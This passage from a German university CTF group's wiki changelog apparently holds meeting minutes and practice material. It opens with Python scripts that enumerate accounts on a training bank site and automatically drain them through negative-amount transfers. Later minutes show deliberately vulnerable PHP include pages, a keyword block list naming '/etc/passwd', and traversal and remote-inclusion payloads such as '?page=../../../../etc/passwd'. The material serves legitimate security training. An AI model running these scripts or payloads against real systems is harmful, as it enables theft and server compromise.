cj = cookielib.CookieJar()&lt;br /&gt;
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))&lt;br /&gt;
urllib2.install_opener(opener)&lt;br /&gt;
&lt;br /&gt;
url = &#039;http://badbank.cinsects.de&#039;&lt;br /&gt;
&lt;br /&gt;
def login(user, password):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;user&#039;: user,&lt;br /&gt;
        &#039;password&#039;: password&lt;br /&gt;
    })&lt;br /&gt;
    urllib2.urlopen(url + &#039;/index.php&#039;, params)&lt;br /&gt;
&lt;br /&gt;
# Wir interessieren und nur fuer die Kontonummern&lt;br /&gt;
account_re = re.compile(&#039;&amp;lt;td&amp;gt;\w+&amp;lt;/td&amp;gt;\n&amp;lt;td&amp;gt;(\d+)&amp;lt;/td&amp;gt;&#039;)&lt;br /&gt;
def fetch_accounts(searchterm):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;name&#039;: searchterm&lt;br /&gt;
    })&lt;br /&gt;
    data = urllib2.urlopen(url + &#039;/index.php?page=search&#039;, params).read()&lt;br /&gt;
    return account_re.findall(data)&lt;br /&gt;
&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    login(&#039;Jan&#039;, &#039;AZyNEBAeTC&#039;)&lt;br /&gt;
    searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]&lt;br /&gt;
    jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]&lt;br /&gt;
    gevent.joinall(jobs, timeout=120)&lt;br /&gt;
    # Ergebnisse lesen und Liste flachklopfen&lt;br /&gt;
    accounts = list(chain(*[job.value for job in jobs]))&lt;br /&gt;
    print accounts&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zeitmessung (&amp;lt;math&amp;gt;26^2 + 1 = 677&amp;lt;/math&amp;gt; HTTP-Requests):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
real	0m19.563s&lt;br /&gt;
user	0m1.356s&lt;br /&gt;
sys	0m0.240s&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
ein kleines Script welches die übersicht über den Kontostand.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import urllib&lt;br /&gt;
import urllib2&lt;br /&gt;
import cookielib&lt;br /&gt;
import re&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
selfkn=&#039;43568&#039;&lt;br /&gt;
&lt;br /&gt;
cj = cookielib.CookieJar()&lt;br /&gt;
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))&lt;br /&gt;
urllib2.install_opener(opener)&lt;br /&gt;
&lt;br /&gt;
url = &#039;http://badbank.cinsects.de&#039;&lt;br /&gt;
&lt;br /&gt;
def login(user, password):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;user&#039;: user,&lt;br /&gt;
        &#039;password&#039;: password&lt;br /&gt;
    })&lt;br /&gt;
    urllib2.urlopen(url + &#039;/index.php&#039;, params)&lt;br /&gt;
&lt;br /&gt;
def printKonto():&lt;br /&gt;
    text=urllib2.urlopen(url + &#039;/index.php&#039;).read()&lt;br /&gt;
    #print text&lt;br /&gt;
    print re.findall(&#039;hat (\d+) toxische Dollar.&amp;lt;/p&amp;gt;&#039;,text)[0]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
print &#039;Login....&#039;&lt;br /&gt;
login(&#039;xxx&#039;, &#039;xxx&#039;)&lt;br /&gt;
print &#039;kontoabfrage...&#039;&lt;br /&gt;
while True:&lt;br /&gt;
    printKonto()&lt;br /&gt;
    time.sleep(5)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Volautomatischen geldklauen ==&lt;br /&gt;
Ein Script welches vollautomatisch Konten plündert. Eine erweiterung von Hennings Script. Benutzt getenv (ist im fbivpn nicht so gut, man wird dann wiederholt für einige Minuten gesperrt), Kontodaten werden nach dem ersten anwenden in einer Datei zwischengespeichert.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
from gevent import monkey&lt;br /&gt;
monkey.patch_socket()&lt;br /&gt;
&lt;br /&gt;
import urllib2&lt;br /&gt;
import urllib&lt;br /&gt;
import cookielib&lt;br /&gt;
import string&lt;br /&gt;
import re&lt;br /&gt;
from itertools import product, chain&lt;br /&gt;
import gevent&lt;br /&gt;
import os.path&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
selfkn=&#039;43568&#039;&lt;br /&gt;
&lt;br /&gt;
cj = cookielib.CookieJar()&lt;br /&gt;
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))&lt;br /&gt;
urllib2.install_opener(opener)&lt;br /&gt;
&lt;br /&gt;
url = &#039;http://badbank.cinsects.de&#039;&lt;br /&gt;
&lt;br /&gt;
def login(user, password):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;user&#039;: user,&lt;br /&gt;
        &#039;password&#039;: password&lt;br /&gt;
    })&lt;br /&gt;
    urllib2.urlopen(url + &#039;/index.php&#039;, params)&lt;br /&gt;
&lt;br /&gt;
# Wir interessieren und nur fuer die Kontonummern&lt;br /&gt;
account_re = re.compile(&#039;&amp;lt;td&amp;gt;\w+&amp;lt;/td&amp;gt;\n&amp;lt;td&amp;gt;(\d+)&amp;lt;/td&amp;gt;&#039;)&lt;br /&gt;
def fetch_accounts(searchterm):&lt;br /&gt;
    params = urllib.urlencode({&lt;br /&gt;
        &#039;name&#039;: searchterm&lt;br /&gt;
    })&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            data = urllib2.urlopen(url + &#039;/index.php?page=search&#039;, params).read()&lt;br /&gt;
            break&lt;br /&gt;
        except:&lt;br /&gt;
            pass&lt;br /&gt;
    print &#039;...Konto mit &#039;+searchterm+&#039; untersucht&#039;&lt;br /&gt;
    return account_re.findall(data)&lt;br /&gt;
&lt;br /&gt;
def ueberweise(konto,betrag):&lt;br /&gt;
    data = urllib.urlencode({&lt;br /&gt;
        &#039;account&#039;:konto,&lt;br /&gt;
        &#039;tan_id&#039;:176,&lt;br /&gt;
        &#039;amount&#039;:betrag *-1,&lt;br /&gt;
        &#039;tan&#039;:697768&lt;br /&gt;
    })&lt;br /&gt;
    while True:&lt;br /&gt;
        try:&lt;br /&gt;
            request = urllib2.urlopen(url + &#039;/index.php?page=transfer&#039;,data)&lt;br /&gt;
            break&lt;br /&gt;
        except:&lt;br /&gt;
            pass&lt;br /&gt;
    ant=request.read()&lt;br /&gt;
    if(re.findall(&#039;(folgreich)&#039;,ant)):&lt;br /&gt;
        print &#039;Konto %s  um %s  Geld erleichtert&#039; % (konto,betrag)&lt;br /&gt;
        return True&lt;br /&gt;
    return False&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def plundern(konto):&lt;br /&gt;
    menge=1&lt;br /&gt;
    bad=0&lt;br /&gt;
    if(konto==selfkn):&lt;br /&gt;
        return 0;#sich selbst muss man kein geld ueberweisen&lt;br /&gt;
    while True:&lt;br /&gt;
        if(ueberweise(konto,menge)):&lt;br /&gt;
             menge*=2&lt;br /&gt;
             bad=0&lt;br /&gt;
        else:&lt;br /&gt;
            if(menge&amp;gt;1):&lt;br /&gt;
                menge/=2&lt;br /&gt;
            else:&lt;br /&gt;
               # time.sleep(5)&lt;br /&gt;
               bad+=1&lt;br /&gt;
               if(bad&amp;gt;10):&lt;br /&gt;
                   print &#039;Konto %s ist ganz Leer&#039; % (konto)&lt;br /&gt;
                   break&lt;br /&gt;
    return 1&lt;br /&gt;
&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
    print &#039;Login....&#039;&lt;br /&gt;
    #login(&#039;Doerte&#039;, &#039;NMrSymamb2&#039;)&lt;br /&gt;
    print &#039;Suche Konten&#039;&lt;br /&gt;
    if(os.path.exists(&#039;konten&#039;)):&lt;br /&gt;
        accounts=[]&lt;br /&gt;
        ko=open(&#039;konten&#039;)&lt;br /&gt;
        while True:&lt;br /&gt;
            test=ko.read(5)&lt;br /&gt;
            if(test==&#039;&#039;):&lt;br /&gt;
                 break&lt;br /&gt;
            accounts.append(test)&lt;br /&gt;
            ko.read(1)&lt;br /&gt;
    else:&lt;br /&gt;
        searchterms = [a + b for a, b in product(string.lowercase, string.lowercase)]&lt;br /&gt;
        jobs = [gevent.spawn(fetch_accounts, searchterm) for searchterm in searchterms]&lt;br /&gt;
        gevent.joinall(jobs, timeout=500)&lt;br /&gt;
        # Ergebnisse lesen und Liste flachklopfen&lt;br /&gt;
        accounts = list(chain(*[job.value for job in jobs]))&lt;br /&gt;
    #print accounts&lt;br /&gt;
    print &#039;Konten gefunden&#039;&lt;br /&gt;
    jobs = [gevent.spawn(plundern,konto) for konto in accounts]&lt;br /&gt;
    gevent.joinall(jobs, timeout=500)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-12-07&amp;diff=11637</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-12-07</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-12-07&amp;diff=11637"/>
		<updated>2010-12-26T20:59:00Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: init&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
Heute haben wir kurz darueber gesprochen wie der UCSB iCTF abgelaufen ist. Dazu gab es eine Feedbackrunde. Anschliessend wurden beispielhaft ein paar Exploits und Challenges vom CTF durchgesprochen.&lt;br /&gt;
&lt;br /&gt;
=== Feedbackrunde UCSB iCTF ===&lt;br /&gt;
* Es waren zum Aufraeumen zuwenige Leute da. Viele sind einfach abgehauen.&lt;br /&gt;
* Es waren zuviele Zuschauer da&lt;br /&gt;
&lt;br /&gt;
=== Exploits und Challenges ===&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* [http://ictf.cs.ucsb.edu/ UCSB iCTF]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-30&amp;diff=11636</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-30</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-30&amp;diff=11636"/>
		<updated>2010-12-26T20:47:02Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: init&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir vorgestellt was ein Capture-The-Flag-Wettbewerb ist; wir wollten uns auf den UCSB iCTF vorbereiten.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
Eine Erklaerung was ein klassischer CTF ist kann man [http://www.cipher-ctf.org/CaptureTheFlag.php hier] nachlesen. Der UCSB iCTF ist in den letzten Jahren etwas von der klassischen Form mutiert. Jedes Team erhaelt ein verschluesseltes Betriebssystem-Image, zu dem es den Schluessel erst zu Beginn des Spiels gibt. Danach geht es daran die Regeln des CTF zu verstehen und eine Strategie zu entwickeln das Spiel zu gewinnen. Das Spielkonzept zu verstehen ist essentiell bei diesem CTF, da es sich sehr von den normalen unterscheidet.&lt;br /&gt;
&lt;br /&gt;
Anschliessend haben wir die Notebooks an das vorbereitete CTF-Netz angeschlossen und uns ein Image eines aelteren CTFs angeschaut und daran gezeigt wo Services liegen koennen, falls es Services gibt.&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* [http://ictf.cs.ucsb.edu/ Webseite vom UCSB iCTF]&lt;br /&gt;
* [http://www.cipher-ctf.org/CaptureTheFlag.php Erklaerung wie ein klassischer CTF-Wettbewerb ablaeuft]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-09&amp;diff=11635</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-09</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-09&amp;diff=11635"/>
		<updated>2010-12-26T20:29:28Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: /* Ablauf */ init&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
An diesem Tag haben wir uns weiter mit Remote-Code-Execution beschaeftigt. Nach der Einteilung in Kleingruppen haben wir uns wieder ein paar Hackits gewidmet.&lt;br /&gt;
&lt;br /&gt;
== Hackit 2 ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
=== Quelltext === &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;] . &#039;.php&#039;);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hackit 3 ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(strpos($_GET[&#039;page&#039;], &#039;http://&#039;) !== false ||&lt;br /&gt;
    strpos($_GET[&#039;page&#039;], &#039;ftp://&#039;) !== false ||&lt;br /&gt;
    strpos($_GET[&#039;page&#039;], &#039;../&#039;) !== false ||&lt;br /&gt;
    strpos($_GET[&#039;page&#039;], &#039;/etc/passwd&#039;) !== false) {&lt;br /&gt;
    die(&#039;Do not be EVIL!&#039;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;] . &#039;.php&#039;);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* [http://unicorn.gnubo.de/~henning/beispiele.php Beispiele fuer Nicht-PHP-Koenner]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-09&amp;diff=11634</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-09</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-09&amp;diff=11634"/>
		<updated>2010-12-26T20:28:26Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: /* Ablauf */ init&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Hackit 2 ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
=== Quelltext === &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;] . &#039;.php&#039;);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hackit 3 ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
 &amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(strpos($_GET[&#039;page&#039;], &#039;http://&#039;) !== false ||&lt;br /&gt;
    strpos($_GET[&#039;page&#039;], &#039;ftp://&#039;) !== false ||&lt;br /&gt;
    strpos($_GET[&#039;page&#039;], &#039;../&#039;) !== false ||&lt;br /&gt;
    strpos($_GET[&#039;page&#039;], &#039;/etc/passwd&#039;) !== false) {&lt;br /&gt;
    die(&#039;Do not be EVIL!&#039;);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;] . &#039;.php&#039;);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
FIXME&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* [http://unicorn.gnubo.de/~henning/beispiele.php Beispiele fuer Nicht-PHP-Koenner]&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
		<id>https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11633</id>
		<title>CInsects/Protokolle/CInsects:Treffen-2010-11-02</title>
		<link rel="alternate" type="text/html" href="https://wiki.mafiasi.de/index.php?title=CInsects/Protokolle/CInsects:Treffen-2010-11-02&amp;diff=11633"/>
		<updated>2010-12-26T20:25:46Z</updated>

		<summary type="html">&lt;p&gt;81.163.36.27: /* Quelltext */ wikify&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Diese Seite ist eine Unterseite von [[CInsects]].&lt;br /&gt;
&lt;br /&gt;
Heute haben wir uns überwiegend mit Remote Code Execution beschäftigt.&lt;br /&gt;
&lt;br /&gt;
== Ablauf ==&lt;br /&gt;
Wir haben kurz erklaert was Remote Code Execution ist. Dann haben wir Dreiergruppen gebildet, sodass in jeder Gruppe mindestens einer mit PHP-Kenntnissen war. Anschliessend haben wir uns verschiedene Hackits angeschaut.&lt;br /&gt;
&lt;br /&gt;
== Hackit 1 ==&lt;br /&gt;
&lt;br /&gt;
Es war eine Clanseite zu sehen, die eine einfachte Navigation hatte und News oder Members des Clans anzeigte.&lt;br /&gt;
&lt;br /&gt;
=== Directory Traversal ===&lt;br /&gt;
&lt;br /&gt;
Es war moeglich ueber den [http://de.wikipedia.org/wiki/HTTP#HTTP_GET HTTP-GET-Parameter] Dateien von dem Server anzeigen zu lassen (?page=../../../../etc/passwd). Diese Sicherheitsluecke nennt sich Directory Traversal.&lt;br /&gt;
&lt;br /&gt;
=== Remote Code Inclusion/Execution ===&lt;br /&gt;
&lt;br /&gt;
Zudem war es moeglich Quelltext in die Anwendung einzuschleusen und auszufuehren. Das nennt man [http://www.owasp.org/index.php/Code_Injection Remote Code Inclusion/Execution]. Man konnte dem HTTP_GET-Parameter auch eine Seite angeben, die nicht auf dem Webserver liegt. Als Beispiel kann man einen Paste-Service verwenden und dort den Quelltext des Exploits hinterlegen und mit einem Link zu dem Exploit einfuegen (?page=&amp;lt;nowiki&amp;gt;http://dpaste.com/&amp;lt;/nowiki&amp;gt;&amp;lt;Zahl&amp;gt;/plain/). Das ganze funktioniert, weil die Funktion include() Quelltext einfuegt und dieser dann ausgefuehrt wird.&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&#039;&#039;&#039;index.php&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include($_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Hackit 1.5 ==&lt;br /&gt;
&lt;br /&gt;
Hier war es nicht mehr moeglich externe Dateien einzufuegen. Dies lag daran, dass die Links im HTTP_GET-Parameter einen Prefix erhalten haben. Directory Traversal war weiterhin moeglich.&lt;br /&gt;
&lt;br /&gt;
=== Hochladen eines &amp;quot;Bildes&amp;quot; ===&lt;br /&gt;
Es gab eine weitere Datei bei der es moeglich war eine PNG-Datei hochzuladen. Es wurde nur geprueft, ob die Datei auf die Endung .png endet. Also konnte auch Quelltext mit der Endung .png hochgeladen werden und durch Aufruf (?page=../images/bild.png) der Datei auf dem Webserver ausgefuehrt werden.&lt;br /&gt;
&lt;br /&gt;
=== Hochladen von foo.php.png ===&lt;br /&gt;
&lt;br /&gt;
Frueher war es moeglich, Dateien der Art foo.php.png hochzuladen, so wurde dann gleich der Quelltext in der Datei vom PHP Interpreter ausgefuehrt, weil .php im Dateinamen stand. Aktuelle Webserver pruefen dies zumindest fuer bekannte Dateitypen.&lt;br /&gt;
&lt;br /&gt;
=== Kommentar von PNG-Dateien ===&lt;br /&gt;
PNG-Dateien koennen Kommentare enthalten; ein Kommentar kann jeder beliebige Text sein. Dieser Exploit ist also auch moeglich, wenn geprueft wird, ob es sich um eine PNG-Datei handelt. Der PNG Kommentar wird bei Aufruf des Bildes ueber den HTTP_GET-Parameter (?page=../images/bild.png) ausgefuehrt.&lt;br /&gt;
&lt;br /&gt;
=== Quelltext ===&lt;br /&gt;
&#039;&#039;&#039;index.php:&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;h1&amp;gt;Welcome to our cool clan page!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;float:left;&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;ul&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=news.php&amp;quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
        &amp;lt;li&amp;gt;&amp;lt;a href=&amp;quot;?page=memberz.php&amp;quot;&amp;gt;Memberz&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div id=&amp;quot;content&amp;quot; style=&amp;quot;margin-left:10em;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
if(isset($_GET[&#039;page&#039;])) {&lt;br /&gt;
    include(&#039;pages/&#039; . $_GET[&#039;page&#039;]);&lt;br /&gt;
} else {&lt;br /&gt;
    include(&#039;news.php&#039;);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sonstiges ==&lt;br /&gt;
Es wurde der kommende Termin angekuendigt an dem wir uns weiter mit Remote Code Execution beschaeftigt haben.&lt;br /&gt;
&lt;br /&gt;
== Links ==&lt;br /&gt;
* Weblinks folgen vielleicht&lt;br /&gt;
&lt;br /&gt;
[[Kategorie: CInsects-Protokolle]]&lt;/div&gt;</summary>
		<author><name>81.163.36.27</name></author>
	</entry>
	<entry>
